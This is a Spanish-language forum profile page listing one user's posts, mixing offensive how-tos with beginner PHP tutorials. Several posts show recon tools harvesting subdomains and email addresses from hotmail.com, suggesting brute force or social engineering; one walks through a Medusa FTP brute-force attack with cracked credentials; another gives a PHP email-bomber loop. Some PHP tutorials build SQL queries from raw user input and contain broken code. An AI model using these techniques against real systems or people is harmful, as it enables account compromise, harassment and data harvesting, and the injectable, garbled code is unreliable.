Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Temas - syskc0

Páginas: [1]
1
Hacking / Goohost
« en: Marzo 31, 2011, 03:24:55 pm »
Gooscan es una herramienta que automatiza las consultas en los aparatos de búsqueda de Google,  pero con un toque.  Estas consultas son especialmente  diseñado para encontrar posibles vulnerabilidades en las páginas web.  Piensa "escáner cgi"que  nunca se comunica

directamente con el servidor web de destino, ya que todas las consultas son respondidas por un aparato de Google, no por el propio destino.

Esta guía le mostrará el uso simple de esta herramienta para encontrar subdominios en un host

Uso:
Código: You are not allowed to view links. Register or Login
[email protected]:/pentest/enumeration/google/goohost# ./goohost.sh

[*] goohost v.0.0.1 Beta
[*] Simple script that extracts hosts/subdomains, ip or emails for a specific domain with Google search
[*] Author: watakushi
[*] Thanks to: Johnny Long and GHDB for inspiration stuff
[*] Special thanks to: Danya & Roberto

[*] Usage: ./goohost.sh -t domain.tld [-m  -p <1-20> -v]

[*] -t: target domain. Ex: backtrack.linux.org
[*] -m: method: . Default value is set to host
[*]             host: raw google hosts and subdomains search
[*]             ip: raw google hosts and subdomains search and performs a reverse DNS resolution
[*]             mail:raw google email search
[*] -p: pages [1-20]. Max number of pages to download from Google. Default 5
[*] -v: verbosity. Default is set to off
[*] Example: ./goohost.sh -t backtrack-linux.com -m ip -p 10 -v

[email protected]:/pentest/enumeration/google/goohost#
Se trata de cómo realizar un simple  análisis

Código: You are not allowed to view links. Register or Login
[email protected]:/pentest/enumeration/google/goohost# ./goohost.sh -t hotmail.com -m host -p 10

[-] Warning: DNS wildcard detected! With IP method you should have some false positive results.

Results saved in file report-14014-hotmail.com.txt
15 results found!

Opciones usadas
-t: dominio de destino. Ejemplo: xvideos.com
-m: método:. El valor por defecto está configurado para albergar
-p: páginas [10-20]. El número máximo de páginas para descargar de Google. Defecto 5

Aquí está mi salida

Código: You are not allowed to view links. Register or Login

[email protected]:/pentest/enumeration/google/goohost# cat report-14014-hotmail.com.txt
gfx1.hotmail.com
gfx2.hotmail.com
gfx3.hotmail.com
gfx4.hotmail.com
gfx5.hotmail.com
gfx6.hotmail.com
gfx7.hotmail.com
gfx8.hotmail.com
gfx9.hotmail.com
graphics.hotmail.com
lc1.law5.hotmail.com
oe.hotmail.com
origin.gfx2.hotmail.com
rsi.hotmail.com
www.hotmail.com
[email protected]:/pentest/enumeration/google/goohost#
¿Por qué es útil

Recopilación de información de esta manera es útil porque puede hacer una consulta en Google de la dirección IP en las cuentas de correo de acogida y subdominios este viene muy bien debido a los sub-dominios pueden tener forma de explotación para ayudar a obtener acceso al servidor de dominio principal si se está ejecutando en el mismo servidor y no iframes cuentas de correo electrónico podría ser fuerza bruta o utilizados para la ingeniería social, pero por favor, recuerde que estos son sólo ejemplos
create post : You are not allowed to view links. Register or Login

2
Hacking / Goorecon
« en: Marzo 31, 2011, 03:09:34 pm »
Esta es una herramienta simple escrito para la enumeración subdominio y la recolección de  direcciones de correo

Código: You are not allowed to view links. Register or Login
Goorecon .01
By Carlos Perez
Email: [email protected]

This is a simple tool writen for subdomain enumeration and email gatheri                                                                            ng
during authorized penetration test engaments using Google.
USAGE:
ruby goorecon.rb 
TYPES:

-s        Subdomoin Enumeration
-e        Email gathering

Uso de la herramienta
Código: You are not allowed to view links. Register or Login
[email protected]:/pentest/enumeration/goorecon# ./goorecon.rb -s hotmail.com

or

[email protected]:/pentest/enumeration/goorecon# ./goorecon.rb -e hotmail.com

Sub dominio Execucion
Código: You are not allowed to view links. Register or Login
[email protected]:/pentest/enumeration/goorecon# ./goorecon.rb -s hotmail.com
www.hotmail.com.com,64.30.224.112
iniciarsesionhotmail.com,209.239.120.49
gfx6.hotmail.com,2.20.32.235
graphics.hotmail.com,2.20.32.235
gfx8.hotmail.com,2.20.32.235
www.windowslive-hotmail.com,173.203.167.46
freemsnhotmail.com,97.74.180.128
gfx1.hotmail.com,213.120.161.145
gfx1.hotmail.com,213.120.161.193
iranhotmail.com,64.130.221.18
gfx2.hotmail.com,213.120.161.193
gfx2.hotmail.com,213.120.161.145
ilikehotmail.com,209.239.120.49
signuphotmail.com,65.254.248.148
[email protected]:/pentest/enumeration/goorecon#
</html>

Email execution
<pre lang="html>
[email protected]:/pentest/enumeration/goorecon# ./goorecon.rb  -e hotmail.com
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]

[SNIP]
<h1>create post : You are not allowed to view links. Register or Login</h1>

3
Hacking / Theharvester recopilación de cuentas de correo electrónico
« en: Marzo 31, 2011, 02:37:13 pm »
theharvester es una herramienta para la recopilación de cuentas de correo electrónico, nombres de usuario y nombres de host / subdominios de diferentes fuentes públicas. Es una herramienta muy simple, pero muy eficaz.
Las fuentes de apoyo son:

Código: You are not allowed to view links. Register or Login
[email protected]:/pentest/enumeration/google/theharvester# ./theHarvester.py

*************************************
*TheHarvester Ver. 1.6             *
*Coded by Christian Martorella      *
*Edge-Security Research             *
*[email protected]      *
*************************************

Usage: theharvester options

       -d: domain to search or company name
       -b: data source (google,bing,pgp,linkedin)
       -s: start in result number X (default 0)
       -v: verify host name via dns resolution
       -l: limit the number of results to work with(bing goes from 50 to 50 results,
            google 100 to 100, and pgp does'nt use this option)

Examples:./theharvester.py -d microsoft.com -l 500 -b google
         ./theharvester.py -d microsoft.com -b pgp
         ./theharvester.py -d microsoft -l 200 -b linkedin

Código: You are not allowed to view links. Register or Login
[email protected]:/pentest/enumeration/google/theharvester# ./theHarvester.py -d hotmail.com -l 1 -b google

*************************************
*TheHarvester Ver. 1.6             *
*Coded by Christian Martorella      *
*Edge-Security Research             *
*[email protected]      *
*************************************

Searching for hotmail.com in google :
======================================

Limit:  1
Searching results: 0
1
2
3
4
5
6
7
8
9
[SNIP]

Accounts found:
====================

@hotmail.com
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[SNIP]
====================

Total results:  39

Hosts found:
====================

www.hotmail.com
m.hotmail.com
[email protected]:/pentest/enumeration/google/theharvester#
create post : You are not allowed to view links. Register or Login

4
Esta guía le mostrará cómo realizar un ftp simple o cualquier otro servicio que es compatible con Medusa para comprobar la debilidad de los datos de acceso
Voy a estar utilizando genlist para recopilar una lista de los ejércitos en vivo que se están ejecutando en la red y han resultado en un archivo txt que Medusa puede utilizar para realizar un ataque de fuerza bruta sobre todas las huestes vivir

voy a empezar con la ruta para encontrar el rango de la red está utilizando

Código: You are not allowed to view links. Register or Login
[email protected]:~# route -n |grep eth1
192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 eth1
0.0.0.0         192.168.1.254   0.0.0.0         UG    0      0        0 eth1
[email protected]:~#


En el ejemplo anterior en la red que estoy conectado a está utilizando el rango de ip 192.168.1.0 y la

puerta de enlace predeterminada 192.168.1.254, así que analizará toda la máscara de red para los hosts de vivir con genlist

Código: You are not allowed to view links. Register or Login
[email protected]:~# genlist -s  192.168.1.\* > host_c-intruder3s
[email protected]:~# cat host_c-intruder3s
192.168.1.67
192.168.1.68
192.168.1.69
192.168.1.77
192.168.1.78
192.168.1.101
192.168.1.254
[email protected]:~#

Ahora he obtenido una lista de anfitriones en vivo puedo ir para usar Medusa

Código: You are not allowed to view links. Register or Login
medusa -v 6 -H host_c-intruder3s -U username.txt  -P pwords.txt  -M ftp

Medusa Opciones

Código: You are not allowed to view links. Register or Login
-v nivel de detalle seis
H-Lista de Clientes
-U lista Nombre de usuario
-P lista Contraseña
-M FTP tipo de módulo, TELNET, SSH, HTTP, etc

Nota Para este tutorial sólo voy a utilizar una pequeña de usuario / contraseña Lista Para ahorrar tiempo

Mi salida
Código: You are not allowed to view links. Register or Login
[email protected]:~# medusa -v 6 -H host_c-intruder3s -U username.txt  -P pwords.txt  -M ftp |grep “ACCOUNT FOUND”
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
ACCOUNT FOUND: [ftp] Host: 192.168.1.67 User: zerocold Password: password123 [SUCCESS]
ACCOUNT FOUND: [ftp] Host: 192.168.1.67 User: offsec Password: password [SUCCESS]
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
ACCOUNT FOUND: [ftp] Host: 192.168.1.68 User: michael Password:jhonadmin [SUCCESS]
ACCOUNT FOUND: [ftp] Host: 192.168.1.77 User: rafael Password: admin123 [SUCCESS]
[email protected]:~#

En el ejemplo anterior he utilizado | grep "cuenta que se encuentra" para cortar la mayor parte de la salida, así que sólo reciben los nombres de usuario y contraseñas, pero si yo fuera a hacer esto en el objetivo real no es mi i red doméstica que se ejecuta de forma normal para puedo ver hasta qué punto el ataque está en marcha

5
Back-end / Pagina fuera de servicio por fechas
« en: Febrero 02, 2011, 06:44:33 pm »
bueno se me ocurrio de hacer este pequeño script en php donde digamos que tenemos una pagina pero hay algunos dias que la pagina no se puede mostrar por que nosotros no queremos

Código: (php) You are not allowed to view links. Register or Login
<?php
//kung fu  syskc0
//c-intrud3rs.com
$day=date("d");
if (
$day<=1)
{
   echo 
'<center><h1>sitio esta activo</h1></center>';
}
else
{
echo 
"<center><h1>sitio fuera de servicio</h1></center>";  
}

?>

Los nombres de variables son sensibles a mayúsculas y minúsculas, por lo que si la escribimos en minúscula inicialmente debemos respetar en el resto del programa. En cambio las instrucciones del lenguaje PHP no son sensibles por lo que si deseamos escribir IF o if, las dos formas estarán bien. Los que venimos de otros lenguajes como C, C++, Java tenemos por costumbre escribir las palabras claves en minúsculas, pero esto es solo por costumbre.
La condición del if debe ir obligatoriamente entre paréntesis. Los operadores relacionales disponibles son:

> Mayor
>= Mayor o igual
< Menor
<= Menor o igual
== Igual
!= Distinto

Si la condición se verifica verdadera se ejecuta el primer bloque encerrado entre llaves, en caso de verificarse falsa la condición se ejecuta el bloque entre llaves que le sigue al else.

[/quote]

6
Back-end / Calculadora by SYSKC0
« en: Febrero 02, 2011, 06:44:03 pm »
bueno una calculadora es que no tengo que hacer

lo primero que hacemos es crear el archivo que servira como ingresador de los numeros y las operaciones

Código: (html5) You are not allowed to view links. Register or Login
<!-- calduladora by syskc0-->
<html>
<head>
<title>CALCULADORA BY SYSKC0</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-color:#000
}
.text1{
font-family:Courier New;
font-size:24px;
color:#F00;
}
select {
font-family: Tahoma, Verdana, Arial;
  font-size: 20px; color: #FFFFFF; background-color: #6699CC; border: #000099; border-style: solid; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px}
input{
font-family: Tahoma, Verdana, Arial;
  font-size: 20px;
  color: #FFFFFF;
  background-color: #060;
  border: #000099;
  border-style: solid;
      border-top-width: 1px;
  border-right-width: 1px;
  border-bottom-width: 1px;
  border-left-width: 1px}
}
#cuadro{
width?390px;
margin:0 auto;
padding:5px;
border:3px solid #0F0;}
</style>
</head>

<body>
<div align="cuadro"><center>
<form name="calculadora" method="post" action="operation.php">
  <p class="text1">calculadora by syskc0</p>
  <p class="text1">
    <label for="data1"></label>
    <input type="text" name="data1" id="data1">
   
    <br><select name="signos">
    <option value="+">+ (suma)</option><br>
    <option value="-">- (resta)</option><br>
    <option value="*">* (multiplicacion)</option><br>
    <option value="/">/ (divicion)</option>
    </select><br>
    <input type="text" name="data2" id="data2">
 

  <p class="text1">
    <input type="submit" name="enviar" id="enviar" value="Enviar">   
</form></center><div>
</body>
</html>

despues creamos un archivo llamado operation.php que es que se encargara de ejecutar las operaciones

Código: (php) You are not allowed to view links. Register or Login
<?php
// programing by syskc0
if(!enviar)

    echo 
'la operacin no se pudo realizar';
}
else{
switch(
$signos)
{
    case 
"+":
    
$resultdate $data1 $data2;
    break;
    case 
"-":
     
$resultdate $data1 $data2;
    break;
    case 
"*":
    
$resultdate $data1 $data2;
    break;
    case 
"/":
    
$resultdate $data1 $data2;
    break;
}
}
echo 
"<center><H3>El resultado es </H3><H1>$resultdate</H1><br></center>";
?>

<input type=button value=REGRESAR onclick="history.go(-1)">

si copian el code o post pongan los putos greezt
[/quote]

7
Back-end / Basico email bomber
« en: Febrero 02, 2011, 06:43:24 pm »
bueno pensando se ocurre hacer un simple mail bomber jejejeje solo es un bucle


Código: (php) You are not allowed to view links. Register or Login
<?php
$repeticiones 
=10;
do {
mail("[email protected]""Your Subject""Your Message""From: [email protected]");
} while (
$repeticiones 0);
?>

8
Back-end / Enviar correo a nuestro msn de los que visitan nuestra web
« en: Julio 14, 2010, 07:18:47 pm »
bueno me puse bien creativo y me e puesto a dar mis primeros pasos en php algo bueno o malo no lo se
cuando visitante entra a nuestro sitio web enviara un correo a nuestra bandeja msn con ip , puerto , host , puerto host

Código: (php) You are not allowed to view links. Register or Login
<?php
//email informacion visitante
$email  '[email protected]';//tu email a donde quieres que llegue el mensaje
$asunto 'llego informacion de un visitante';//asunto mensaje
$cuerpo '<center><table width="525" border="1">
  <tr>
    <td colspan="2" align="center"><font color="#FF0000" face="Courier New, Courier, monospace" size="6">pr0gr4m1ng by syskc0</font></td>
  </tr><font color="#0000FF" face="Courier New, Courier, monospace" size="3">
  <tr>
    <td width="224" align="center"> la ip enviado</td>
    <td width="285" align="center"><?php $_SERVER['
REMOTE_ADDR']; ?>
</td>
  </tr>
  <tr>
    <td align="center"><font color="#0000FF" face="Courier New, Courier, monospace" size="3">puerto visitante</font></td>
    <td align="center"><?php $_SERVER['REMOTE_PORT']; ?></td>
  </tr>
  </font><tr>
    <td align="center"><font color="#0000FF" size="3" face="Courier New, Courier, monospace">eviado del puerto</font></td>
    <td align="center"><?php $_SERVER['SERVER_PORT']; ?></td>
  </tr><font color="#0000FF" face="Courier New, Courier, monospace" size="3">
  <tr>
    <td align="center">enviado de</td>
    <td align="center"><?php $_SERVER['REMOTE_HOST']; ?></td>
  </tr>
  <tr>
    <td align="center">fecha hora</td>
    <td align="center"><?php $mysqltime date ("Y-m-d H:i:s"$phptime); ?></td>
  </tr>
  </font><tr>
    <td colspan="2" align="center"><font color="#0000FF" face="Courier New, Courier, monospace" size="3"><font color="#FF0000" size="6">c-intrud3rs</font></font></td>
  </tr>
 
</table>
<p>&nbsp;</p>
<p>&nbsp;</p></center>
';
$cabeceras  = 'MIME-Version: 1.0' . "\r\n";
$cabeceras .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
mail('$email','$asunto','$cuerpo','$cabeceras');
?>

9
Back-end / Link situado en un lugar espesifico de la web
« en: Julio 14, 2010, 11:32:21 am »
ok ahora les enseñare como situar un link en una pagina donde uno desee los comandos son

llama el link
Código: (php) You are not allowed to view links. Register or Login
<a href="#">
respuesta llamada de link
Código: (php) You are not allowed to view links. Register or Login
<a name="">
si tengo un index entonces seria
Código: (php) You are not allowed to view links. Register or Login
<a href="#amigos"
Código: (php) You are not allowed to view links. Register or Login
<a name="amigos"
no importa cuantas palabras amigos haya solo si situara en donde se pone la etiqueta name

les tengo un ejemplo

Código: (php) You are not allowed to view links. Register or Login
<html>
<head>
<title>link donde quieras ir by syskc0</title>
<style type="text/css">
body{
background-color:#000;
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
}
.texto1{font-family:"Courier New", Courier, monospace;
color:#F00;
font-size:35px;}
.texto2{font-family:"Courier New", Courier, monospace;
color:#0F0;
font-size:35px;}
</style>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<center>
<a name="arriba"></a>
<table width="200">
  <tr>
    <td align="center"><span class="texto1"><a href="#medio">medio</a></span></td>
    <td align="center"><span class="texto2"><a href="#abajo">abajo</a></span></td>
  </tr>
</table><br><span class="texto1">texto arriba</span>
<!-- aqui vajo hasta el centro-->

<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<a name="medio"></a>
<table width="200">
  <tr>
    <td align="center"><span class="texto1"><a href="#arriba">arriba</a></span></td>
    <td align="center"><span class="texto2"><a href="#abajo">abajo</a></span></td>
  </tr>
</table><br>
<span class="texto1">texto centro</span>
<!-- aqui vajo hasta el avajo-->
<br>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<a name="abajo"></a>
<table width="200">
  <tr>
    <td align="center"><span class="texto1"><a href="#arriba">arriba</a></span></td>
    <td align="center"><span class="texto2"><a href="#medio">medio</a></span></td>
  </tr>
</table>
<span class="texto1">texto abajo</span>
</center>


</body>
</html>

10
Back-end / Como crear un buscador de palabras
« en: Julio 14, 2010, 11:09:17 am »
Muchas páginas llevan su buscador propia de elementos dentro de la web. Cón este código se puede hacer un buscador senzillo que busca una palabra dentro de una Tabla con muchas noticias y cuando la encuentra las muestra por pantalla.

La palabra o texto a buscar se lo enviamos desde otra página usando una variable que llamaremos $palabra.

FORM ACTION="busca.php>
<INPUT TYPE="TEXT" NAME="palabra">
<INPUT TYPE="SUBMIT" NAME="Buscar">"

Busca.php
< ?
$conexio = mysql_connect("nombre_servidor", "usuario", "contraseña");
mysql_select_db ("nombre_BBDD", $conexio) OR die ("No se puede conectar");

// SQL para la búsqueda
$sql="SELECT * FROM documentos WHERE documento LIKE '%".$palabra."%' ";
$result=mysql_query($sql,$conexio);
// Si hay resultados crea una tabla y los muestra
if ($row= mysql_fetch_array($result))
{
echo "<TABLE BORDER='0'>";
DO
{
echo "$row["documento"]";
}
WHILE ($row=mysql_fetch_array($result));
echo "</TABLE>";
}
mysql_close ($conexio);
?>

11
Back-end / Insertando datos a una DB
« en: Julio 14, 2010, 11:08:45 am »
Para ingresar Datos a una base de datos desde un form solo tendremos que hacer esto
Código: (php) You are not allowed to view links. Register or Login
$dbh = mysql_connect("localhost", "userdb", "pass");
mysql_select_db ("tu_db", $dbh);
$sql = "INSERT INTO registros (nombre, apellidos, user, pass, direccion, c_postal, provincia, pais, email, telefono, c_conocido, comentarios)";
$sql .= "VALUES ('$nombre', '$apellidos', '$user', '$pass', '$direccion', '$c_postal', '$provincia', '$pais', '$email', '$telefono', '$c_conocido', '$comentarios')";
$result = mysql_query($sql);
echo "¡Gracias! Hemos recibido sus datos.\n";
}

Eso lo pones en un archivo php con un nombre por ejemplo entradatos.php
entonces en el form en action pones entradatos.php

12
Back-end / Como mostrar la ip de un usuario
« en: Julio 14, 2010, 11:07:24 am »
 Lo único que utilizaremos es $REMOTE_ADDR esta pequeña variable esta por default en el servidor a si que lo único que tenemos que hacer es lo siguiente:

Código: (php) You are not allowed to view links. Register or Login
<?
//iniciamos
echo
//agregamos la variable echo para que nos ejecute el romte.
$REMOTE_ADDR
//agregamos la variable y cerramos
?>

Y para que se vea bonito le agregamos una tabla:
Código: (php) You are not allowed to view links. Register or Login
<table width="21%" border="1" cellspacing="0" cellpadding="0" bordercolor="#000000">
<tr>
<td bordercolor="#FFFFFF" bgcolor="#999999">
<div align="center"><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Tu
ip es:

<?
//iniciamos
echo
//agregamos la variable echo para que nos ejecute el remote.
$REMOTE_ADDR
//agregamos la variable y cerramos
?>
</font></div></td>
</tr>
</table>
Bueno como pueden ver no es nada fuera de lo normal, demasiado fácil es solo utilizar el echo y el $REMOTE_ADDR

13
Back-end / Ver el tiempo que tarda en ejecutarse una pagina PHP
« en: Julio 14, 2010, 11:04:41 am »
Este codigo nos mostrara el tiempo que tarda en ejecutarse una pagina PHP, es ideal para ir optimizando las paginas probando diferentes algoritmos y asi saber cual es mas rapido o tambien simplemente como un "adorno" a nuestra pagina.

El codigo se divide en dos parte, la primera que toma el tiempo actual...

Código: (php) You are not allowed to view links. Register or Login
<?php
$mtime 
microtime();
$mtime explode(" ",$mtime);
$mtime $mtime[1] + $mtime[0];
$starttime $mtime;
;
?>

Este codigo va al principio de nuestra pagina PHP y lo que hace basicamente es guardar en la variable $starttime el momento (horario) en que se inicia la ejecucion de la pagina.

Luego del codigo anterior colocamos los demas contenidos de la pagina y al final de la misma agregamos el codigo siguiente...

Código: (php) You are not allowed to view links. Register or Login
<?php
$mtime 
microtime();
$mtime explode(" ",$mtime);
$mtime $mtime[1] + $mtime[0];
$endtime $mtime;
$totaltime = ($endtime $starttime);
echo 
"Esta pagina se creo en ".$totaltime." segundos.";
;
?>

Bueno aqui lo que se hace es tomar el tiempo y almacenarlo en la variable $endtime para finalmente restarla con la variable anterior $starttime y asi obtener la diferencia, es decir el tiempo que tardo en ejecutarse nuestra pagina PHP.

14
Base de Datos / Dumpiando base de datos desde la consola
« en: Julio 13, 2010, 08:26:41 pm »
hola amigos hoy les enseñare como dumpear una base de datos desde la consola

primero es entrar a la ruta mysql dependiendo la instalcion estara en mi lugar esta

c:\xmapp\mysql\bin

ok ya estando hay con el comando

Código: You are not allowed to view links. Register or Login
mysqldump.exe -u root -p c-intrud3rs wolpress>basededatos.sql
explicacion

mysqldump.exe  --- utilizaremos para hacer el dump
-U = usuario  ---- usuario para dumpear la db
-p = password -- contraseña de el usuario
wordpress  = base de datos seleccionada para dumpear
basededatos.sql  --- archivo que contiene las tabals

digamos que queremos dumpear todas las base de datos

con el comando

Código: You are not allowed to view links. Register or Login
mysqldump.exe -u root -A>root2.sql
A = all-databasedump = dupea todas las db

15
Back-end / Como conectarse a una base de datos
« en: Julio 13, 2010, 08:24:06 pm »
Para acceder desde nuestro código PHP a información almacenada en una Base de Datos MySQL, debemos antes que nada, conectarnos a dicha base, para ello necesitaremos el nombre de la base (que previamente debemos haber creado en nuestro servidor) y el usuario y contraseña que tienen acceso a dicha base (en general en un hosting compartido tanto la base como el usuario lo creamos desde nuestro panel (cPanel, DirectAdmin, o el que utilices) en el apartado “Bases de Datos MySQL” (o similar).

Una vez que tenemos dichos datos, debemos definirlos en nuestro

Lo primero son los datos a conectar

Código: You are not allowed to view links. Register or Login
$servidor   =  ""; //servidor base de datos
$usuario    =  ""; //usuario de la base de datos
$contrasena =  ""; //contrañe conection tabase
$database   =  ""; //base de datos a la conexion

Y luego debemos primero realizar la conexión, mediante la función predefinida mysql_connect() y luego seleccionar la base con la que trabajaremos mediante mysql_select_db().
Lo que os propondré será que creemos una función definida por nosotros que conecte y seleccione la base de datos, partiendo de los parámetros que definimos arriba, podría ser algo así:

Código: You are not allowed to view links. Register or Login
function conectDB($usuario,$contrasena,$database){
$coneccion = mysql_connect($servidor,$usuario,$contrasena);
if(!$coneccion) {
printf('no se logro conectar a la base de datos:' . mysql_error());   
 }

Código: You are not allowed to view links. Register or Login
$basedatos = mysql_select_db($database); 
if(!$basedatos){
printf('no se logro seleccionar la base de datos:' . mysql_error());



En la primer parte se utiliza mysql_connect() para conectar con la base de datos y en caso de error, nos avisa por pantalla. En la segunda parte utilizamos, como dijimos arriba mysql_select_db() para seleccionar la base e igualmente, nos avisará en caso de error.

Luego tan sólo resta llamar a ésta función desde los archivos que querramos usarla.
Supongamos que guardamos la definición de datos (primer ejemplo) en un archivo llamado datos.php y la función conectDB() que acabamos de crear (en el segundo ejemplo) en un archivo funciones.php.
Nuestro index.php (desde dónde tomaremos información dinamicamente desde una base de datos), quedará así:

Código: You are not allowed to view links. Register or Login
include("datos.php");
include("funciones.php");

Código: You are not allowed to view links. Register or Login
conectDB($database, $usuario, $contrasena);

este es todo el codigo

Código: You are not allowed to view links. Register or Login
<?php
/**
conection database by syskc0
**/

//inicio conection de la bade datos a conectar
$servidor   =  "localhost"//servidor base de datos
$usuario    =  "syskc0"//usuario de la base de datos
$contrasena =  "clave"//contrañe conection tabase
$database   =  "miblog"//base de datos a la conexion

function conectDB($usuario,$contrasena,$database){  //coneccion base datos
$coneccion mysql_connect($servidor,$usuario,$contrasena); // seleccion de todos los datos
if(!$coneccion) { //remotomando a la sintexis connection
printf('no se logro conectar a la base de datos:' mysql_error());// mensaje de que no pudo conectarse   
 
}

$basedatos mysql_select_db($database);  //seleccion base de datos
if(!$basedatos){  //retomando a la funcion basedatos
printf('no se logro seleccionar la base de datos:' mysql_error()); //mensaje error
}
}
?>

podria ser mas facil pero soy muy complicado

Páginas: [1]